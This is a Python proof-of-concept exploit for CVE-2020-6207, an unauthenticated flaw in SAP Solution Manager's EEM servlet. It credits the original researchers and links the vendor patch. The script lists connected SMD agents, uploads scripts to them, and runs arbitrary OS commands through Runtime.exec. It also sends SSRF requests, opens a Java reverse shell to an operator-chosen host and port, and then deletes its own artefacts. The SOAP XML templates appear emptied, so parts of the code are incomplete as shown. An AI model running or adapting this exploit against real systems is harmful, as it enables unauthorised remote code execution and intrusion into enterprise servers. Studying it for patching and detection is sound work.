#!/usr/bin/env python3 __author__ = 'chipik' import random import base64 import requests import argparse import xml.etree.ElementTree as ET from prettytable import PrettyTable help_desc = ''' PoC for CVE-2020-6207, (Missing Authentication Check in SAP Solution Manager) This script allows to check and exploit missing authentication checks in SAP EEM servlet (tc~smd~agent~application~eem) that lead to RCE on SAP SMDAgents connected to SAP Solution Manager Original finding: - Pablo Artuso. https://twitter.com/lmkalg - Yvan 'iggy' G https://twitter.com/_1ggy Paper: https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf Solution: https://launchpad.support.sap.com/#/notes/2890213 twitter: https://twitter.com/_chipik ''' eemURL = "/EemAdminService/EemAdmin" wsdlMethods = { 'getAgentInfo' : ''' ''', 'getAllAgentInfo':''' ''', 'setAgeletProperties' : ''' 3 ''', 'uploadResource':''' ''', 'stopScript':''' ''', 'deleteScript':''' ''', 'setServerName':''' ''', } def makeRequest(payload): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6207 PoC", "Content-Type": "text/xml;charset=UTF-8", "SOAPAction": ""} ans = requests.post(base_url + eemURL, headers=headers, proxies=proxies, timeout=timeout, data=payload, allow_redirects=False, verify=False) return ans def getAllAgentInfo(): customPrint("Sending getAllAgentInfo()...") root = ET.fromstring(wsdlMethods['getAllAgentInfo']) payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def getAgentInfo(agents): customPrint(f"Sending getAgentInfo({agents})...") root = ET.fromstring(wsdlMethods['getAgentInfo']) root.find('.//agents').text = agents payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def uploadResource(agentName, content, scriptName, fileName = "script.http.xml", scenarioName=f'PoCScenario{(random.randint(1, 10000))}', scope = "Script"): customPrint(f"Sending uploadResource(). ScriptName:{scriptName}...") content = base64.b64encode(content.encode('ascii')).decode('ascii') root = ET.fromstring(wsdlMethods['uploadResource']) root.find('.//agentName').text = agentName root.find('.//content').text = content root.find('.//fileName').text = fileName root.find('.//scenarioName').text = scenarioName root.find('.//scope').text = scope root.find('.//scriptName').text = scriptName payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def setAgeletProperties(agentName, key, value): customPrint(f"Sending setAgeletProperties({agentName}, {key}, {value})...") root = ET.fromstring(wsdlMethods['setAgeletProperties']) root.find('.//agentName').text = agentName root.find('.//key').text = key root.find('.//value').text = value payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def stopScript(agentName, scriptName): customPrint(f"Sending stopScript({agentName},{scriptName})...") root = ET.fromstring(wsdlMethods['stopScript']) root.find('.//agentName').text = agentName root.find('.//scriptName').text = scriptName payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def deleteScript(agentName, scriptName): customPrint(f"Sending deleteScript({agentName},{scriptName})...") root = ET.fromstring(wsdlMethods['deleteScript']) root.find('.//agentName').text = agentName root.find('.//scriptName').text = scriptName payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def setServerName(hostName, instanceName, newServerName): customPrint(f"Sending setServerName({hostName},{instanceName},{newServerName})...") root = ET.fromstring(wsdlMethods['setServerName']) root.find('.//hostName').text = hostName root.find('.//instanceName').text = instanceName root.find('.//newServerName').text = newServerName payload = ET.tostring(root, encoding='utf8', method='xml') resp = makeRequest(payload) return resp def detect_vuln(base_url): is_vulnerable = False status = 'Not Vulnerable!' ans = getAllAgentInfo() status_code = ans.status_code if status_code == 200: is_vulnerable = True status = 'Vulnerable! [CVE-2020-6207]' print("%s - %s" % (status, base_url)) return {"status": is_vulnerable} def customPrint(prnt): if args.verbose: print(f"[INFO] {prnt}") def getAllAgentsPretty(): # Getting available SMD agents customPrint("Getting available agents...") resp = getAllAgentInfo() if resp.status_code != 200: print(f"Something wrong with getAllAgentInfo(). Got {resp.status_code} status code") exit(1) agentsResp = ET.fromstring(resp.content) for agent in agentsResp[0][0]: os_val = agent.find(".//systemProperties/[key='os.name']").find("value").text if agent.find( ".//systemProperties/[key='os.name']") is not None else "" jvm_val = agent.find(".//systemProperties/[key='java.version']").find("value").text if agent.find( ".//systemProperties/[key='java.version']") is not None else "" agentVal = { 'serverName': f'{agent.find("serverName").text if agent.find("serverName") is not None else ""}', 'hostName': f'{agent.find("hostName").text}', 'instanceName': f'{agent.find("instanceName").text}', 'status': f'{"up" if agent.find("agentStatus").text == "1" else "stopped"}', 'os': f'{os_val}', 'java': f'{jvm_val}', } agents.append(agentVal) if len(agents): x = PrettyTable() x.field_names = ["serverName", "hostName", "instanceName", "status", "OS", "java"] for agent in agents: x.add_row(agent.values()) print(x) return agents def executeScript(payload, clear = True): customPrint(f"Executing new script.Payload:\n{payload}") if not args.victim: getAllAgentsPretty() print("If DA doesn't have a serverName you can setup using '--setup' option of that PoC") args.victim = input("Enter DA serverName:") else: print("There is no available DA connected to SAP SM") exit(1) # Enable EEM resp = setAgeletProperties(args.victim, "eem.enable", "True") if resp.status_code != 200: print(f"Something wrong with setAgeletProperties(). Got {resp.status_code} status code") exit(1) scriptName = f"PoCScript{random.randint(5000, 10000)}" resp = uploadResource(args.victim, payload, scriptName) if resp.status_code != 200: print(f"Something wrong with uploadResource(). Got {resp.status_code} status code") exit(1) # Now let's clear the server ## Stop our Script if clear: # We can't stop script while backconnect works resp = stopScript(args.victim, scriptName) if resp.status_code != 200: print(f"Something wrong with stopScript(). Got {resp.status_code} status code") exit(1) ## Delete our script resp = deleteScript(args.victim, scriptName) if resp.status_code != 200: print(f"Something wrong with deleteScript(). Got {resp.status_code} status code") exit(1) print("[!] Done") return def clearAfter(): if not args.victim: # Getting available SMD agents customPrint("Getting available agents...") resp = getAllAgentInfo() if resp.status_code != 200: print(f"Something wrong with getAllAgentInfo(). Got {resp.status_code} status code") exit(1) agentsResp = ET.fromstring(resp.content) for agent in agentsResp[0][0]: os_val = agent.find(".//systemProperties/[key='os.name']").find("value").text if agent.find( ".//systemProperties/[key='os.name']") is not None else "" jvm_val = agent.find(".//systemProperties/[key='java.version']").find("value").text if agent.find( ".//systemProperties/[key='java.version']") is not None else "" agentVal = { 'serverName': f'{agent.find("serverName").text if agent.find("serverName") is not None else ""}', 'hostName': f'{agent.find("hostName").text}', 'instanceName': f'{agent.find("instanceName").text}', 'status': f'{"up" if agent.find("agentStatus").text == "1" else "stopped"}', 'os': f'{os_val}', 'java': f'{jvm_val}', } agents.append(agentVal) if len(agents): x = PrettyTable() x.field_names = ["serverName", "hostName", "instanceName", "status", "OS", "java"] for agent in agents: x.add_row(agent.values()) print(x) args.victim = input("Enter DA serverName:") else: print("There is no available DA connected to SAP SM") exit(1) resp = getAgentInfo(args.victim) if resp.status_code != 200: print(f"Something wrong with getAgentInfo(). Got {resp.status_code} status code") exit(1) agentsResp = ET.fromstring(resp.content) ourScript = [] for our in agentsResp[0][0].findall(".//agentProperties/key"): if "eem/Script/PoCScript" in our.text: ourScript.append(our.text.split('/')[2]) if not len(ourScript): print("Nothing to clear") exit(1) else: print(f"Found these artifacts: {', '.join(ourScript)}") print("Deleting...") for script in ourScript: resp = stopScript(args.victim, script) if resp.status_code != 200: print(f"Something wrong with stopScript({args.victim}, {script}). Got {resp.status_code} status code") exit(1) resp = deleteScript(args.victim, script) if resp.status_code != 200: print(f"Something wrong with stopScript({args.victim}, {script}). Got {resp.status_code} status code") exit(1) print("Done!") if __name__ == '__main__': parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-H', '--host', default='127.0.0.1', help='SAP Solution Manager host(default: 127.0.0.1)') parser.add_argument('-P', '--port', default=50000, type=int, help='SAP Solution Manager web port (default: tcp/50000)') parser.add_argument('-p', '--proxy', help='Use proxy (ex: 127.0.0.1:8080)') parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL') parser.add_argument('-c', '--check', action='store_true', help='just detect vulnerability') parser.add_argument('-d', '--victim', help='DA serverName') parser.add_argument('--ssrf', help='exploit SSRF. Point http address here. (example:http://1.1.1.1/chpk)') parser.add_argument('--rce', help='exploit RCE') parser.add_argument('--back', help='get backConnect from DA. (ex: 1.1.1.1:1337)') parser.add_argument('--setup', help='setup a random serverName to the DA with the given hostName and instanceName. (example: javaup.mshome.net,SMDA97)') parser.add_argument('--list', action='store_true', help='Get a list of existing DA servers') parser.add_argument('--clear', action='store_true', help='stop and delete all PoCScript scripts from DA servers') parser.add_argument('-t', '--timeout', default=10, type=int, help='HTTP connection timeout in second (default: 10)') parser.add_argument('-v', '--verbose', action='store_true', help='verbose mode') args = parser.parse_args() timeout = args.timeout proxies = {} verify = True agents = [] if args.proxy: verify = False proxies = { 'http': args.proxy, 'https': args.proxy, } if args.ssl: base_url = "https://%s:%s" % (args.host, args.port) else: base_url = "http://%s:%s" % (args.host, args.port) if args.check: detect_vuln(base_url) exit() if args.ssrf: # Prepare ssrf payload customPrint(f"Will send SSRF on {args.ssrf}") payload = f'' executeScript(payload) if args.rce: # Prepare RCE payload customPrint(f"Will trigger {args.rce}") pload = f"Packages.java.lang.Runtime.getRuntime().exec('{args.rce}').waitFor();" payload = f'' executeScript(payload) if args.back: # Prepare back connect customPrint(f"Let's get backConnect to {args.back}") osType = input("What is the DA OS (win/nix)?:") if osType == "win": shell = "cmd.exe" else: shell = "/bin/bash" bip = args.back.split(':')[0] bport = int(args.back.split(':')[1]) print(f"Run 'netcat -l -p {bport}' on {bip}") pload = f"var p = new Packages.java.lang.ProcessBuilder('{shell}').redirectErrorStream(true).start();var s= new Packages.java.net.Socket('{bip}',{bport});var pi=new Packages.java.io.BufferedInputStream(p.getInputStream());var pe= new Packages.java.io.BufferedInputStream(p.getErrorStream());var si= new Packages.java.io.BufferedInputStream(s.getInputStream());var po= new Packages.java.io.BufferedOutputStream(p.getOutputStream());var so= new Packages.java.io.BufferedOutputStream(s.getOutputStream());while(!s.isClosed()){{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Packages.java.lang.Thread.sleep(50);}};p.destroy();s.close();" payload = f'' print("Don't forget to stop and delete script!") executeScript(payload, False) if args.clear: customPrint(f"Let's clear the server...") clearAfter() if args.setup: customPrint(f"Setting up a serverName for the {args.setup}") if len(args.setup.split(',')) !=2: print("Wrong '--setup' options. Please specify target like this: 'javaup.mshome.net,SMDA97' or enter values below") getAllAgentsPretty() hostName = input("hostName:") instanceName = input("instanceName:") else: hostName = args.setup.split(',')[0] instanceName = args.setup.split(',')[1] newServerName = f"PoCName{(random.randint(1, 10000))}" print(f"Setup new serverName {newServerName} for {hostName}") resp = setServerName(hostName, instanceName, newServerName) if resp.status_code != 200: print(f"Something wrong with setServerName({hostName}, {instanceName}, {newServerName}). Got {resp.status_code} status code") exit(1) if args.list: getAllAgentsPretty()